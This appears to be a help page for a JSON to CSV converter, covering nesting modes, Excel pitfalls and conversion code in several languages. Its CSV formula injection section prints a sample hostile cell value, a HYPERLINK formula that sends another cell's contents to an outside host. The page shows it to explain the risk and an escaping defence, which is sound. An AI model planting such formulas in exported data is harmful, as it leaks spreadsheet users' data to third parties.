How JSON Becomes Rows and Columns
CSV is a flat grid, so the converter has to decide what counts as a row and what counts as a column. It follows three rules:
- Rows: Each object in a top-level array becomes one row, and a single object on its own becomes a single row. An array of plain values such as [1, 2, 3] is rejected, because there are no keys to name the columns.
- Columns: Every key that appears in any object becomes a column, in the order the keys are first seen. An object without that key gets an empty cell.
- Values: Strings and true or false are written as text, null becomes an empty cell, and numbers are written exactly as they appear in the JSON.
So this JSON:
[
{"id": 12345678901234567890, "price": 1.50, "in_stock": true, "note": null},
{"id": 2, "email": "ravi@example.com"}
] becomes this CSV:
id,price,in_stock,note,email
12345678901234567890,1.50,true,,
2,,,,ravi@example.com Code that reads the file with JavaScript's JSON.parse stores every number as a 64-bit float, so 1.50 comes out as 1.5, and the 20-digit ID 12345678901234567890 is rounded to 12345678901234567000, which points to a different record. This converter reads numbers as text, so both come through unchanged.
How to Use the Syntax Toolbox JSON to CSV Converter?
- Add your JSON. Paste it into the JSON panel, drag files onto it, select Upload to choose .json or .txt files, or select URL to import a file from a link. Sample loads one of three small datasets.
- Read the result in the CSV panel. It updates as you type, and the bar below it shows the number of rows and columns and the file size. If the JSON isn't valid, the message gives the line and column where reading stopped.
- If your records contain objects or arrays, pick a Nested JSON mode. The three are compared below.
- Select Copy, or Download to save a .csv file. With several files, switch between them using the tabs above the CSV panel, and select Download All to get them in one ZIP.
To go back the other way, the CSV to JSON button under the CSV panel opens the result in the CSV to JSON Converter.
What Each Setting Does
The last two settings sit under Advanced.
| Setting | What It Does | When to Change It |
|---|---|---|
| Output delimiter | The character placed between values: comma, tab, semicolon, pipe, colon, space, caret, or tilde. | Semicolon for Excel in countries that write decimals with a comma, tab for TSV, and pipe when values are full of commas. |
| Nested JSON | How objects and arrays inside a record are written. | Whenever records contain nested data. The next section compares the three modes. |
| Include header row | Writes the column names as the first line. | Turn it off when you are adding rows to a CSV that already has a header. |
| Quote all fields | Wraps every value in double quotes, not only values that contain the delimiter, a quote, or a line break. | An import tool insists on quoted fields. |
| Add BOM for Excel | Adds an invisible UTF-8 marker to the start of the file. | The file will be opened in Excel and has accents or non-Latin text. Leave it off for code and databases. |
Flatten, Pivot, or Stringify: Handling Nested JSON
Records from APIs often contain nested data. Here are two orders, each with a nested customer and a list of items, followed by what each Nested JSON mode makes of them:
[
{"order_id": 1001, "customer": {"name": "Ada", "city": "Pune"},
"items": [{"sku": "A1", "qty": 2}, {"sku": "B2", "qty": 1}]},
{"order_id": 1002, "customer": {"name": "Ravi", "city": "Zürich"},
"items": [{"sku": "A1", "qty": 5}]}
] Flatten to Columns
order_id,customer.name,customer.city,items.0.sku,items.0.qty,items.1.sku,items.1.qty
1001,Ada,Pune,A1,2,B2,1
1002,Ravi,Zürich,A1,5,, Every value gets its own column, named by its path, and each record stays on one row. That works well for a single nested object such as customer. Arrays are the weak spot: each item position gets its own set of columns, so an order with 30 items adds 60 item columns, and most rows leave them empty. The converter warns you once a file passes 500 columns.
Pivot / Explode to Rows
order_id,customer,sku,qty
1001,"{""name"":""Ada"",""city"":""Pune""}",A1,2
1001,"{""name"":""Ada"",""city"":""Pune""}",B2,1
1002,"{""name"":""Ravi"",""city"":""Zürich""}",A1,5 Each item in the first array becomes its own row, with the order details repeated on every line. This is the layout for line items, transactions, and anything you want to total in a pivot table. Only the first array in each record is split this way, and other nested values, such as customer here, are kept as JSON text. If you also need customer.name as its own column, the pandas example further down does both in one step.
Stringify Value
order_id,customer,items
1001,"{""name"":""Ada"",""city"":""Pune""}","[{""sku"":""A1"",""qty"":2},{""sku"":""B2"",""qty"":1}]"
1002,"{""name"":""Ravi"",""city"":""Zürich""}","[{""sku"":""A1"",""qty"":5}]" Each top-level key stays one column, and nested values are written as compact JSON. Nothing about the original structure is lost, so this is the mode to use when the CSV will be turned back into JSON later, or loaded into a database column that stores JSON. It is the hardest of the three to read in a spreadsheet.
Converting an API Response to CSV
API responses usually wrap the records in a field such as data, results, or items, next to paging details. Paste only the array, or the whole response comes out as one wide row (the FAQs explain why). Results that arrive a page at a time need one more step, since the converter turns each uploaded file into its own CSV rather than merging them. jq, a command-line JSON tool, can combine them first:
# Merge the "data" arrays from page-1.json, page-2.json, ...
jq -s 'map(.data) | add' page-*.json > all.json
# Pull records out from a deeper path
jq '.response.results' reply.json > records.json
# Wrap a JSON Lines file into one array
jq -s '.' export.jsonl > export.json
The -s flag reads every input file into one array. map(.data) takes the
records from each page and add joins them into a single list. Swap data for whatever field
your API uses, then convert all.json here.
Opening the CSV in Excel Without Losing Data
The converter writes values exactly, but Excel changes some of them as it opens the file, before you see anything. These are the usual changes when you double-click a CSV:
| In the CSV | What Excel Shows | Why |
|---|---|---|
00123 | 123 | Read as a number, so the leading zeros go |
12345678901234567890 | 1.23457E+19 | Excel keeps 15 significant digits, so the full value becomes 12345678901234500000 |
2024-03-05 | Your regional date format | Converted to a date, and saved back in that format |
1/2 | 2-Jan or 1-Feb | Text that looks like a date becomes one, depending on your region |
SEPT2 | 2-Sep | The same date guessing, which is why gene names such as SEPT2 were renamed in 2020 |
Importing the file instead of opening it lets you mark those columns as text first; the FAQ on Excel and Google Sheets below gives the steps. In Google Sheets, File > Import has a Convert text to numbers, dates, and formulas option. Turn it off and every value is kept as written. Saving the file from Excel writes any changes back, so keep the original CSV if you need the exact values.
JSON to Excel with Power Query
If the data is going into Excel anyway, you can skip the CSV. In Excel, go to Data > Get Data > From File > From JSON and pick the file. Power Query often opens it as a list of records: select To Table, then the expand button in the column header to choose the fields you want. Nested records expand into more columns and lists into more rows, one step at a time, and the query can be refreshed when the file changes. It reads standard JSON only, so wrap a JSON Lines file into an array first.
CSV Formula Injection
Spreadsheets treat a cell that starts with =, +, -, or @ as a formula. If your JSON holds text that
other people typed, such as names, comments, or support messages, someone can enter a value like
=HYPERLINK("https://example.com/?d="&A2, "Click here"), and it becomes a working
formula when the CSV is opened in Excel or Google Sheets. OWASP calls this CSV injection. The converter
writes every value exactly as it is in the JSON, so it does not change these values.
The usual protection is to put a single quote in front of any text value that starts with one of those
characters, or with a tab or carriage return, so the spreadsheet shows it as text. PapaParse does this
when you set escapeFormulae: true, as in the JavaScript example below. It only touches
strings, but that includes numbers stored as text: in our test, the string "-5" came out as '-5, while
the number -5 was left alone.
How to Convert JSON to CSV in Code
The FAQs below have one-line versions for Python and JavaScript. The examples here go further, and each one notes the catch that comes with that tool. They read the orders above, or a users.json where the second record has an email key the first one doesn't.
JSON to CSV in Python
pandas handles nested data with json_normalize:
import json
import pandas as pd
with open('orders.json', encoding='utf-8') as f:
data = json.load(f)
# Nested objects become dotted columns: customer.name, customer.city
pd.json_normalize(data).to_csv('orders.csv', index=False, encoding='utf-8-sig')
# One row per item, with fields from the parent order alongside
items = pd.json_normalize(data, record_path='items', meta=['order_id', ['customer', 'name']])
items.to_csv('order-items.csv', index=False, encoding='utf-8-sig')
# sku,qty,order_id,customer.name
# A1,2,1001,Ada
# B2,1,1001,Ada
# A1,5,1002,Ravi
The first call flattens nested objects into dotted columns, like Flatten mode, but leaves arrays in one
cell, written as a Python list with single quotes, which is not valid JSON. The second call is the one
Pivot mode can't do: record_path splits the items into rows, and meta brings
fields from the parent order along, including the nested customer name. The utf-8-sig encoding adds
the byte order mark that Excel needs.
Without pandas, the standard library works too:
import csv
import json
with open('users.json', encoding='utf-8') as f:
rows = json.load(f)
# Every key from every row, in the order first seen
columns = list(dict.fromkeys(key for row in rows for key in row))
with open('users.csv', 'w', newline='', encoding='utf-8-sig') as f:
writer = csv.DictWriter(f, fieldnames=columns)
writer.writeheader()
writer.writerows(rows)
DictWriter needs the full column list up front and raises a ValueError when a row has a key that isn't
in it, so the columns are collected from every row first. newline='' stops Windows from
putting an empty line between rows.
JSON to CSV in JavaScript and Node.js
PapaParse, the library this converter uses to write CSV, does the quoting for you:
import fs from 'node:fs';
import Papa from 'papaparse';
const rows = JSON.parse(fs.readFileSync('users.json', 'utf8'));
// Every key from every row, in the order first seen
const columns = [...new Set(rows.flatMap((row) => Object.keys(row)))];
const csv = Papa.unparse(rows, { columns, escapeFormulae: true });
fs.writeFileSync('users.csv', '\uFEFF' + csv); // BOM so Excel reads UTF-8 Papa.unparse takes its column names from the first object only. Without the columns option, the email key from the second record was missing from our output. Nested objects come out as [object Object], so flatten them or run them through JSON.stringify first. And because the file is read with JSON.parse, whole numbers above 9,007,199,254,740,991 are rounded, as described above. If you control the API, have it send them as strings.
JSON to CSV on the Command Line
jq can write CSV directly with its @csv filter:
jq -r '(map(keys) | add | unique) as $cols
| $cols, (.[] | [.[$cols[]]])
| @csv' users.json > users.csv
This collects every key as the header, then takes each row's values in that order. unique
sorts the columns alphabetically, and @csv quotes every string. It stops with "is not valid in a csv
row" when it meets an object or array, so pick or flatten nested fields first. DuckDB handles nesting
in SQL:
# Flat records
duckdb -c "COPY (SELECT * FROM read_json('users.json')) TO 'users.csv' (HEADER)"
# One row per item, with the order fields repeated
duckdb -c "COPY (SELECT order_id, customer.name AS customer, unnest(items, recursive := true) FROM read_json('orders.json')) TO 'order-items.csv' (HEADER)" read_json reads both regular JSON and JSON Lines, and samples the records to work out the
columns, so a key that first appears in the second record still gets one. unnest gives one row per item, like Pivot mode, and customer.name
takes a single field from the nested object. Without them, nested values are written in DuckDB's own
notation, such as {'name': Ada, 'city': Pune}, which is not JSON.
JSON to CSV in PowerShell
PowerShell can read JSON and write CSV without extra modules:
$rows = Get-Content users.json -Raw -Encoding utf8 | ConvertFrom-Json
$rows | Export-Csv users.csv -NoTypeInformation -Encoding utf8 Export-Csv takes its columns from the first object only, so the email key from the second record was dropped in our test. Nested objects are written as @{name=Ada; city=Pune} and arrays as System.Object[], so choose the fields yourself with calculated properties:
$orders = Get-Content orders.json -Raw -Encoding utf8 | ConvertFrom-Json
$orders |
Select-Object order_id,
@{ n = 'customer'; e = { $_.customer.name } },
@{ n = 'skus'; e = { $_.items.sku -join ';' } } |
Export-Csv orders.csv -NoTypeInformation -Encoding utf8
Windows PowerShell 5.1 adds three traps of its own. Piping ConvertFrom-Json straight into Export-Csv
writes the array's own properties, such as Count and Length, instead of your records, which is why the
examples save the result in a variable first. Without -NoTypeInformation, the first line
of the file is a #TYPE comment. And the default encoding is ASCII, so Zürich is saved as Z?rich unless
you pass -Encoding utf8. PowerShell 7 fixes all three.
JSON Lines and Large Files
CSV is the smaller format, because the keys are written once in the header instead of on every record. The Employees sample is 1,951 bytes as JSON and 936 bytes as CSV. The converter takes files up to 25 MB, and each one has to be a single JSON document, an array or an object. JSON Lines files, with one object per line, need wrapping into an array first (the jq command above does it), or DuckDB can read them directly.
For exports too big to hold in memory, pandas can read JSON Lines in chunks and append each one to the CSV:
import pandas as pd
columns = ['id', 'name', 'email'] # the full column list, decided up front
chunks = pd.read_json('export.jsonl', lines=True, chunksize=100_000)
for i, chunk in enumerate(chunks):
chunk.reindex(columns=columns).to_csv(
'export.csv', mode='w' if i == 0 else 'a', header=i == 0, index=False
)
The fixed column list is the important part. Each chunk works out its own columns, so when later
records have different keys, the appended rows end up under the wrong headers. In our test, without
reindex, an email address was written into the name column.
Common JSON to CSV Mistakes
- Adding up repeated values after a pivot: Once items are split into rows, order-level fields such as an order total appear on every item row. Summing that column counts each order once per item. Total the item columns, or count each order once.
- Splitting two arrays at once: A record with 3 tags and 4 items, split on both, gives 12 rows where every tag is paired with every item. Split one array and keep the other as text, or write them to separate CSV files.
- Keys that contain dots: A literal key such as "a.b" and a nested {"a": {"b": …}} both flatten to a.b. The converter keeps both by naming the second one a.b__1, but other tools may overwrite one with the other.
- Converting an error response: When an API request fails, the JSON is often a short object like {"error": "rate limited"}, which converts without complaint into a one-row CSV. Check the response before you convert it.